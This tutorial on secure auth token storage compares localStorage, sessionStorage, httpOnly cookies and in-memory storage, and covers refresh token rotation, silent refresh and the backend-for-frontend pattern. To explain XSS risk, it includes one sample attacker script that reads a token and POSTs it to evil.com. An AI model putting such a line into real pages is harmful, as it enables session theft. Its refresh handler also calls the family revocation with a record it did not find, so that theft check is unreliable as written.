Skip to content

Secure Token Storage

intermediate18 min read

Your Token Is the Keys to the Kingdom

Every time a user logs in, your app gets a token. That token is the user's identity. Whoever holds it can do anything the user can do — read their data, change their password, delete their account. No second questions asked.

So where you store that token isn't just an implementation detail. It's a security decision that determines whether an attacker who finds a single XSS vulnerability can hijack every active session on your platform.

Most tutorials say "just put it in localStorage" and move on. Let's talk about why that's a terrible idea, what the actual options are, and what production apps at scale really do.

Mental Model

Think of your auth token like a house key. localStorage is leaving that key under the doormat — anyone who knows where to look can grab it. sessionStorage is the same doormat, but it disappears when you close the door. An httpOnly cookie is handing the key to a trusted courier who never shows it to anyone, not even your own JavaScript. The BFF pattern is hiring a security guard who holds all the keys and only lets verified residents through.

The Four Storage Options

Before we compare them, you need to understand two attack vectors that matter here:

  • XSS (Cross-Site Scripting) — An attacker injects JavaScript into your page. That script can read anything your JavaScript can read, call any API your app can call, and exfiltrate data to an external server.
  • CSRF (Cross-Site Request Forgery) — An attacker tricks the user's browser into making a request to your API from a different site. If the browser automatically attaches credentials (like cookies), the request looks legitimate.

Every storage mechanism trades off between these two threats. There is no option with zero risk — but there's a clear winner.

Option 1: localStorage

localStorage.setItem('access_token', token);

fetch('/api/profile', {
  headers: {
    Authorization: `Bearer ${localStorage.getItem('access_token')}`
  }
});

localStorage persists across tabs and browser restarts. Sounds convenient. Here's the problem: any JavaScript running on your page can read it.

If an attacker finds a single XSS vulnerability — a malicious npm package, a compromised third-party script, an unsanitized user input rendered into the DOM — they can do this:

// Attacker's injected script
const token = localStorage.getItem('access_token');
fetch('https://evil.com/steal', {
  method: 'POST',
  body: JSON.stringify({ token })
});

Game over. The attacker now has the user's token and can impersonate them from any device, anywhere in the world, until the token expires.

Danger

localStorage is readable by any JavaScript on the page, including third-party scripts, browser extensions with page access, and injected XSS payloads. Never store auth tokens here in a production application.

Option 2: sessionStorage

sessionStorage.setItem('access_token', token);

sessionStorage is scoped to a single tab and cleared when the tab closes. That's slightly better than localStorage because the token doesn't persist. But it has the exact same XSS problem — any JavaScript on the page can read it.

Plus, it introduces a UX nightmare: open your app in a new tab, and you're logged out. Refresh the page in some flows, and the token is gone. Users hate this.

Option 3: httpOnly Cookies

Set-Cookie: access_token=eyJhbGci...;
  HttpOnly;
  Secure;
  SameSite=Strict;
  Path=/;
  Max-Age=900

This is where things get interesting. An httpOnly cookie has one critical property: JavaScript cannot read it. The browser manages it automatically and attaches it to every request to the matching domain.

That means an XSS attack can't steal the token. The attacker's script can call document.cookie all day long — the httpOnly cookie won't show up.

But cookies introduce a different risk: CSRF. Because the browser attaches cookies automatically, a malicious site could trick the user's browser into making requests with valid credentials. That's why the SameSite attribute matters.

SameSite=Strict means the cookie is only sent on requests originating from the same site. No cross-origin requests get the cookie at all. This effectively eliminates CSRF for most cases.

SameSite=Lax is slightly more permissive — it sends cookies on top-level navigations (like clicking a link) but blocks them on cross-origin POST requests and embedded resources.

Option 4: In-Memory (JavaScript Variable)

let accessToken = null;

async function login(credentials) {
  const res = await fetch('/api/login', {
    method: 'POST',
    body: JSON.stringify(credentials)
  });
  const data = await res.json();
  accessToken = data.token;
}

Storing the token in a JavaScript variable means it lives only in the current page's memory. It's not persisted anywhere, so it survives neither page refreshes nor new tabs.

The XSS story is nuanced here. The token isn't in a predictable location like localStorage, so a generic "steal all storage" attack won't find it. But a targeted XSS attack can still read JavaScript variables in scope, hook into your fetch wrapper, or intercept API responses. It's harder to exploit, but not impossible.

The real downside is persistence. Every refresh, every new tab, every browser crash means the user has to re-authenticate. That's unacceptable for most production apps unless you pair it with a silent refresh mechanism.

Quiz
An attacker finds an XSS vulnerability on your site and injects a script. Which token storage method prevents the attacker from directly reading the token value?

The Comparison

Storage MethodXSS Safe?CSRF Safe?Persists Refresh?Multi-Tab?Verdict
localStorageNo — fully readable by JSYes — not sent automaticallyYesYesNever for auth tokens
sessionStorageNo — fully readable by JSYes — not sent automaticallyNoNoNever for auth tokens
httpOnly cookieYes — invisible to JSNeeds SameSite + CSRF tokenYesYesRecommended
In-memory variablePartially — harder to stealYes — not sent automaticallyNoNoOnly with silent refresh

The clear winner for most applications is httpOnly cookies with SameSite=Strict (or Lax) and Secure. Let's talk about how to set them up properly.

A proper cookie-based auth setup looks like this on the server side:

// Server: POST /api/login
app.post('/api/login', async (req, res) => {
  const user = await authenticate(req.body);
  const accessToken = generateAccessToken(user); // short-lived: 15min
  const refreshToken = generateRefreshToken(user); // long-lived: 7 days

  res.cookie('access_token', accessToken, {
    httpOnly: true,
    secure: true, // HTTPS only
    sameSite: 'strict',
    maxAge: 15 * 60 * 1000, // 15 minutes
    path: '/',
  });

  res.cookie('refresh_token', refreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
    path: '/api/auth', // only sent to auth endpoints
  });

  res.json({ user: user.profile });
});

Notice a few things:

  • Two tokens, two cookies. The access token is short-lived (15 minutes). The refresh token lasts longer but is scoped to /api/auth so it's only sent to the refresh endpoint — not to every API call.
  • secure: true ensures the cookie is only sent over HTTPS. Without this, a network attacker on public WiFi could intercept the token.
  • sameSite: 'strict' prevents the browser from sending the cookie on any cross-origin request, eliminating most CSRF attacks.

On the client side, you don't touch the token at all. Your fetch calls just work:

// Client: The browser attaches the cookie automatically
const res = await fetch('/api/profile', {
  credentials: 'include' // tells fetch to send cookies
});
const user = await res.json();
Quiz
Why should the refresh token cookie have a narrower Path (like /api/auth) compared to the access token cookie?

Refresh Token Rotation

Short-lived access tokens are great because even if one is compromised, the damage window is small — 15 minutes, and it's useless. But that means users would get logged out every 15 minutes without a refresh mechanism.

Refresh token rotation solves this. The idea is simple: every time the client uses the refresh token to get a new access token, the server also issues a new refresh token and invalidates the old one.

// Server: POST /api/auth/refresh
app.post('/api/auth/refresh', async (req, res) => {
  const oldRefreshToken = req.cookies.refresh_token;

  // Verify and find the token in the database
  const tokenRecord = await db.refreshTokens.findOne({
    token: oldRefreshToken,
    revoked: false
  });

  if (!tokenRecord) {
    // This token was already used or doesn't exist.
    // Possible token theft — revoke the entire family.
    await db.refreshTokens.revokeFamily(tokenRecord?.familyId);
    res.clearCookie('access_token');
    res.clearCookie('refresh_token');
    return res.status(401).json({ error: 'Session expired' });
  }

  // Revoke the old refresh token
  await db.refreshTokens.revoke(oldRefreshToken);

  // Issue new tokens
  const newAccessToken = generateAccessToken(tokenRecord.user);
  const newRefreshToken = generateRefreshToken(tokenRecord.user, {
    familyId: tokenRecord.familyId // same family for theft detection
  });

  // Store the new refresh token
  await db.refreshTokens.create(newRefreshToken);

  res.cookie('access_token', newAccessToken, {
    httpOnly: true, secure: true, sameSite: 'strict',
    maxAge: 15 * 60 * 1000, path: '/'
  });

  res.cookie('refresh_token', newRefreshToken.token, {
    httpOnly: true, secure: true, sameSite: 'strict',
    maxAge: 7 * 24 * 60 * 60 * 1000, path: '/api/auth'
  });

  res.json({ success: true });
});

The critical detail here is token families. Each refresh token belongs to a "family" — a chain that started at login. If a revoked token is used again (meaning someone stole the old one), you revoke the entire family, forcing the user to re-login on all devices. This is how you detect token theft.

Mental Model

Think of refresh token rotation like a chain of one-time passwords. Each password lets you get the next one, but once you use it, it's burned. If someone else tries to use your burned password, the system knows something is wrong and shuts everything down.

Silent Refresh

Your users shouldn't see any of this happening. The refresh flow needs to be invisible. Here's how to implement silent refresh on the client:

let refreshPromise = null;

async function fetchWithAuth(url, options = {}) {
  const res = await fetch(url, {
    ...options,
    credentials: 'include'
  });

  if (res.status === 401) {
    // Avoid multiple parallel refresh attempts
    if (!refreshPromise) {
      refreshPromise = fetch('/api/auth/refresh', {
        method: 'POST',
        credentials: 'include'
      }).finally(() => {
        refreshPromise = null;
      });
    }

    const refreshRes = await refreshPromise;
    if (refreshRes.ok) {
      // Retry the original request with the new cookie
      return fetch(url, { ...options, credentials: 'include' });
    }

    // Refresh failed — redirect to login
    window.location.href = '/login';
    throw new Error('Session expired');
  }

  return res;
}

Two things to notice:

  1. Deduplication. If three API calls fail with 401 simultaneously (common when the access token expires mid-page), only one refresh request is sent. The others wait for the same promise.
  2. Automatic retry. After a successful refresh, the original request is retried transparently. The user never knows it happened.
Quiz
What happens if two browser tabs simultaneously detect an expired access token and both try to refresh?

Solving the Multi-Tab Problem

The quiz above highlights a real production issue. Here's a practical solution using BroadcastChannel:

const authChannel = new BroadcastChannel('auth');
let refreshPromise = null;

authChannel.onmessage = (event) => {
  if (event.data.type === 'TOKEN_REFRESHED') {
    // Another tab already refreshed — just retry our requests
    retryPendingRequests();
  }
  if (event.data.type === 'SESSION_EXPIRED') {
    window.location.href = '/login';
  }
};

async function refreshToken() {
  if (refreshPromise) return refreshPromise;

  refreshPromise = fetch('/api/auth/refresh', {
    method: 'POST',
    credentials: 'include'
  }).then(res => {
    if (res.ok) {
      authChannel.postMessage({ type: 'TOKEN_REFRESHED' });
      return true;
    }
    authChannel.postMessage({ type: 'SESSION_EXPIRED' });
    return false;
  }).finally(() => {
    refreshPromise = null;
  });

  return refreshPromise;
}

Now when one tab refreshes, it broadcasts to all other tabs. They skip the refresh and just retry their failed requests with the new cookie.

The BFF Pattern: How the Big Players Do It

If you're building a single-page application that talks to third-party APIs or microservices, there's an even better approach: the Backend for Frontend (BFF) pattern.

The idea is simple but powerful: your frontend never sees tokens at all. Instead, a lightweight backend acts as a proxy between your SPA and the actual APIs.

Browser  ←→  BFF (your server)  ←→  Auth Server / APIs
  |              |
  |  session     |  access_token
  |  cookie      |  (server-side only)
  |  (httpOnly)  |

Here's how it works:

  1. The user logs in. The BFF handles the OAuth flow with the auth server.
  2. The BFF receives the access token and refresh token. It stores them in server-side session storage (Redis, database, encrypted file) — never sends them to the browser.
  3. The BFF sets a session cookie (httpOnly, Secure, SameSite) on the browser. This cookie identifies the session but contains no token data.
  4. When the frontend makes an API call, it goes through the BFF. The BFF looks up the session, retrieves the stored access token, and forwards the request to the actual API with the token attached.
  5. If the access token is expired, the BFF refreshes it server-side using the stored refresh token. The browser is never involved.
// BFF: Proxy API requests
app.use('/api/*', async (req, res) => {
  const sessionId = req.cookies.session_id;
  const session = await sessionStore.get(sessionId);

  if (!session) {
    return res.status(401).json({ error: 'Not authenticated' });
  }

  let { accessToken, refreshToken } = session;

  // Check if access token is expired
  if (isExpired(accessToken)) {
    const refreshed = await authServer.refresh(refreshToken);
    accessToken = refreshed.accessToken;

    // Update stored tokens (rotation happens server-side)
    await sessionStore.update(sessionId, {
      accessToken: refreshed.accessToken,
      refreshToken: refreshed.refreshToken
    });
  }

  // Forward the request to the actual API
  const apiRes = await fetch(`https://api.example.com${req.path}`, {
    method: req.method,
    headers: {
      ...req.headers,
      Authorization: `Bearer ${accessToken}`
    },
    body: req.body
  });

  const data = await apiRes.json();
  res.status(apiRes.status).json(data);
});
Why the BFF pattern is becoming the standard

The BFF pattern eliminates an entire class of token-related vulnerabilities:

  • No tokens in the browser. XSS can't steal what isn't there. The browser only has an opaque session ID in an httpOnly cookie.
  • Server-side refresh. No multi-tab race conditions, no BroadcastChannel hacks, no client-side refresh logic. The server handles everything.
  • Token isolation. If you're calling multiple APIs with different tokens (common in microservice architectures), the BFF manages all of them. The frontend doesn't need to know which API needs which token.
  • Centralized security logic. Rate limiting, token validation, request signing — it all lives in one place on the server, not scattered across client-side code that anyone can inspect.

Next.js API routes or Route Handlers work perfectly as a BFF. You're already running a server — use it.

Quiz
In the BFF pattern, what does the browser's httpOnly cookie contain?

Token Expiry Strategy

Getting token lifetimes right is a balancing act between security and user experience:

TokenLifetimeWhy
Access token5-15 minutesShort enough that a stolen token has limited use. Long enough to avoid constant refreshing
Refresh token1-7 daysLong enough for reasonable sessions. Short enough that stolen refresh tokens expire before causing too much damage
Session cookie (BFF)Until browser closes, or 24 hoursTied to server-side session. Can be revoked instantly server-side

Never make access tokens long-lived. A common mistake is setting a 24-hour access token to "reduce server load from refresh requests." That's optimizing the wrong thing. A stolen 24-hour access token gives an attacker a full day of unrestricted access.

Common Trap

Some developers store the token expiry time in localStorage or a JavaScript variable and check it before each request to avoid unnecessary 401s. This is a client-side optimization, not a security measure. The server must always validate the token independently. A tampered client could easily fake the expiry check.

What About JWTs Specifically?

JWTs add a twist because they're stateless — the server doesn't need to look them up in a database to verify them. The token itself contains all the claims (user ID, roles, expiry), signed with a secret.

This is convenient but creates a problem: you cannot revoke a JWT before it expires. Once issued, it's valid until expiry. If a user's JWT is stolen, you can't invalidate it server-side (unless you maintain a blocklist, which defeats the "stateless" benefit).

That's exactly why short-lived access tokens are critical with JWTs. The access token (JWT) lives for 15 minutes and is stateless for performance. The refresh token is opaque (not a JWT) and stored in a database so it can be revoked.

Access Token (JWT):
  - Stateless verification (no DB lookup)
  - 15-minute expiry
  - Contains: userId, roles, permissions
  - Cannot be revoked

Refresh Token (opaque string):
  - Stateful (stored in DB)
  - 7-day expiry
  - Contains: random string only
  - Can be revoked instantly
Quiz
Why is using a long-lived JWT (e.g., 30 days) as the sole auth token considered insecure?

Putting It All Together

Here's the decision tree for choosing your token storage strategy:

  1. Can you control the backend? If yes, use httpOnly cookies. If you're using a third-party auth service that only returns tokens in the response body, consider the BFF pattern.

  2. Is it an SPA talking to multiple APIs? Use the BFF pattern. Your frontend gets a session cookie, the BFF manages all API tokens server-side.

  3. Is it a simple app with a single API? httpOnly cookies with SameSite=Strict, Secure, short-lived access tokens, and refresh token rotation.

  4. Is it a server-rendered app (Next.js, Remix)? You already have a server. Use it for token management. Server components can read httpOnly cookies directly — no client-side token handling needed.

Key Rules
  1. 1Never store auth tokens in localStorage or sessionStorage — both are fully accessible to any JavaScript on the page, including XSS payloads
  2. 2Use httpOnly, Secure, SameSite cookies for token storage — JavaScript cannot read them, eliminating the most common token theft vector
  3. 3Keep access tokens short-lived (5-15 minutes) and use refresh token rotation — even stolen tokens become useless quickly
  4. 4Implement token family tracking to detect refresh token theft — if a revoked token is reused, revoke the entire family
  5. 5For SPAs with complex auth needs, use the BFF pattern — tokens never reach the browser at all
  6. 6Always validate tokens server-side regardless of client-side expiry checks — the client cannot be trusted
  7. 7Handle multi-tab refresh coordination with BroadcastChannel to prevent token family revocation from concurrent refresh attempts
What developers doWhat they should do
Storing JWTs in localStorage for convenience
localStorage is readable by any JavaScript on the page. A single XSS vulnerability exposes every user's auth token.
Store tokens in httpOnly cookies or use the BFF pattern
Using long-lived access tokens (24h+) to reduce refresh requests
Long-lived tokens give attackers a large window of access if stolen. Short tokens with refresh rotation limit the damage window to minutes.
Use 5-15 minute access tokens with automatic silent refresh
Checking token expiry only on the client side
Client-side checks are easily bypassed. An attacker can modify the expiry check or send expired tokens directly. The server is the only trusted validator.
Always validate tokens server-side on every request
Using the same refresh token indefinitely without rotation
Without rotation, a stolen refresh token grants indefinite access. Rotation ensures stolen tokens are detected when the legitimate user tries to refresh.
Issue a new refresh token on every use and revoke the old one
Setting cookies without Secure and SameSite attributes
Without Secure, cookies are sent over HTTP and can be intercepted on public networks. Without SameSite, cookies are vulnerable to CSRF attacks from malicious sites.
Always set httpOnly, Secure, and SameSite=Strict (or Lax)
Quiz
Your Next.js app uses Server Components and API Route Handlers. What is the simplest secure token storage approach?